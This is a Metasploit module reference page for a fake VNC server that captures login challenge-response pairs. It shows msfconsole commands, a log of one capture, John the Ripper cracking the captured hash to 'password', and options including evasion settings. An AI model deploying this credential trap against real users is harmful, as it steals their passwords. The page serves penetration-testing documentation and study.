Authentication Capture: VNC - Metasploit
This page contains detailed information about how to use the auxiliary/server/capture/vnc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Authentication Capture: VNC
Module: auxiliary/server/capture/vnc
Source code: modules/auxiliary/server/capture/vnc.rb
Disclosure date: -
Last modification time: 2020-05-12 22:15:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module provides a fake VNC service that is designed to capture authentication credentials.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/server/capture/vnc
msf auxiliary(vnc) > show targets
... a list of targets ...
msf auxiliary(vnc) > set TARGET target-id
msf auxiliary(vnc) > show options
... show and set options ...
msf auxiliary(vnc) > exploit
Knowledge Base
This module creates a mock VNC server which accepts credentials. Upon receiving a login attempt, an Authentication failure
error is thrown.
Verification Steps
- Start msfconsole
- Do:
use auxiliary/server/capture/vnc
- Do:
run
Options
CHALLENGE
The 16 byte challenge used in the authentication. Default is 00112233445566778899aabbccddeeff
.
JOHNPWFILE
Write a file containing a John the Ripper format for cracking the credentials. Default is ``.
SSL
Boolean if SSL should be used. Default is False
.
SSLCert
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically generated. Default is ``.
Scenarios
VNC with vncviewer and JTR Cracking
Server, Client:
msf5 > use auxiliary/server/capture/vnc
msf5 auxiliary(server/capture/vnc) > use auxiliary/server/capture/vnc
msf5 auxiliary(server/capture/vnc) > set johnpwfile /tmp/john
johnpwfile => /tmp/john
msf5 auxiliary(server/capture/vnc) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/vnc) >
[*] Started service listener on 0.0.0.0:5900
[*] Server started.
msf5 auxiliary(server/capture/vnc) > vncviewer 127.0.0.1
[*] exec: vncviewer 127.0.0.1
Connected to RFB server, using protocol version 3.7
Performing standard VNC authentication
Password:
Authentication failure
[+] 127.0.0.1:40240 - Challenge: 00112233445566778899aabbccddeeff; Response: b7b9c87777661a7a2299733209bfdfce
John the Ripper (JTR) Cracker:
msf5 auxiliary(server/capture/vnc) > john /tmp/john_vnc
[*] exec: john /tmp/john_vnc
Using default input encoding: UTF-8
Loaded 1 password hash (VNC [DES 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
password (?)
1g 0:00:00:00 DONE 2/3 (2018-11-11 20:38) 25.00g/s 75.00p/s 75.00c/s 75.00C/s password
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Go back to menu.
Msfconsole Usage
Here is how the server/capture/vnc auxiliary module looks in the msfconsole:
msf6 > use auxiliary/server/capture/vnc
msf6 auxiliary(server/capture/vnc) > show info
Name: Authentication Capture: VNC
Module: auxiliary/server/capture/vnc
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Patrik Karlsson <[email protected]>
Available actions:
Name Description
---- -----------
Capture Run VNC capture server
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CHALLENGE 00112233445566778899AABBCCDDEEFF yes The 16 byte challenge
JOHNPWFILE no The prefix to the local filename to store the hashes in JOHN format
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 5900 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Description:
This module provides a fake VNC service that is designed to capture
authentication credentials.
Module Options
This is a complete list of options available in the server/capture/vnc auxiliary module:
msf6 auxiliary(server/capture/vnc) > show options
Module options (auxiliary/server/capture/vnc):
Name Current Setting Required Description
---- --------------- -------- -----------
CHALLENGE 00112233445566778899AABBCCDDEEFF yes The 16 byte challenge
JOHNPWFILE no The prefix to the local filename to store the hashes in JOHN format
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 5900 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Auxiliary action:
Name Description
---- -----------
Capture Run VNC capture server
Advanced Options
Here is a complete list of advanced options supported by the server/capture/vnc auxiliary module:
msf6 auxiliary(server/capture/vnc) > show advanced
Module advanced options (auxiliary/server/capture/vnc):
Name Current Setting Required Description
---- --------------- -------- -----------
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the server/capture/vnc module can do:
msf6 auxiliary(server/capture/vnc) > show actions
Auxiliary actions:
Name Description
---- -----------
Capture Run VNC capture server
Evasion Options
Here is the full list of possible evasion options supported by the server/capture/vnc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(server/capture/vnc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
CHALLENGE must be 32 characters, 0-9,A-F.
Here is a relevant code snippet related to the "CHALLENGE must be 32 characters, 0-9,A-F." error message:
36:
37: def run
38: if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{32})$/
39: @challenge = [ datastore['CHALLENGE'] ].pack("H*")
40: else
41: fail_with(Failure::BadConfig, 'CHALLENGE must be 32 characters, 0-9,A-F.')
42: end
43: exploit()
44: end
45:
46: def on_client_connect(c)
<PEER> - sectype not offered! <VALUE>
Here is a relevant code snippet related to the "<PEER> - sectype not offered! <VALUE>" error message:
127: fd.close
128: end
129: # we have got the protocol sorted out and have offered the VNC sectype (2)
130: elsif @state[c][:proto] == "003.007"
131: if ( data.unpack("C")[0] != 2 )
132: print_error("#{peer} - sectype not offered! #{data.unpack("H*")}")
133: c.close
134: return
135: end
136: @state[c][:chall] = @challenge
137: c.put @state[c][:chall]
Go back to menu.
Related Pull Requests
- #13443 Merged Pull Request: Add descriptions to auxiliary modules Actions
- #10975 Merged Pull Request: More Capture Docs
- #9897 Merged Pull Request: Fix #8404 ListenerComm Support For Exploit::Remote::TcpServer
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5768 Merged Pull Request: Update modules to use metasploit-credential instead of report_auth_info
- #2525 Merged Pull Request: Change module boilerplate
- #603 Merged Pull Request: Review of Pull request #594
Go back to menu.
See Also
Check also the following modules related to this module:
- auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
- auxiliary/admin/vmware/poweroff_vm
- auxiliary/admin/vmware/poweron_vm
- auxiliary/admin/vmware/tag_vm
- auxiliary/admin/vmware/terminate_esx_sessions
- auxiliary/gather/vmware_vcenter_vmdir_ldap
- auxiliary/scanner/vmware/esx_fingerprint
- auxiliary/scanner/vmware/vmauthd_login
- auxiliary/scanner/vmware/vmauthd_version
- auxiliary/scanner/vmware/vmware_enum_permissions
- auxiliary/scanner/vmware/vmware_enum_sessions
- auxiliary/scanner/vmware/vmware_enum_users
- auxiliary/scanner/vmware/vmware_enum_vms
- auxiliary/scanner/vmware/vmware_host_details
- auxiliary/scanner/vmware/vmware_http_login
- auxiliary/scanner/vmware/vmware_screenshot_stealer
- auxiliary/scanner/vmware/vmware_server_dir_trav
- auxiliary/scanner/vmware/vmware_update_manager_traversal
- exploit/linux/http/vmware_vcenter_analytics_file_upload
- exploit/linux/http/vmware_vcenter_vsan_health_rce
- exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce
- exploit/linux/local/vmware_alsa_config
- exploit/linux/local/vmware_mount
- exploit/linux/ssh/vmware_vdp_known_privkey
- exploit/multi/http/vmware_vcenter_log4shell
- exploit/multi/http/vmware_vcenter_uploadova_rce
- exploit/osx/local/vmware_bash_function_root
- exploit/osx/local/vmware_fusion_lpe
- exploit/windows/http/vmware_vcenter_chargeback_upload
- auxiliary/scanner/http/emby_ssrf_scanner
- auxiliary/scanner/http/emby_version_ssrf
- exploit/linux/http/f5_icontrol_rest_ssrf_rce
- auxiliary/scanner/vnc/vnc_login
- auxiliary/scanner/vnc/vnc_none_auth
Authors
Patrik Karlsson <patrik[at]cqure.net>
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.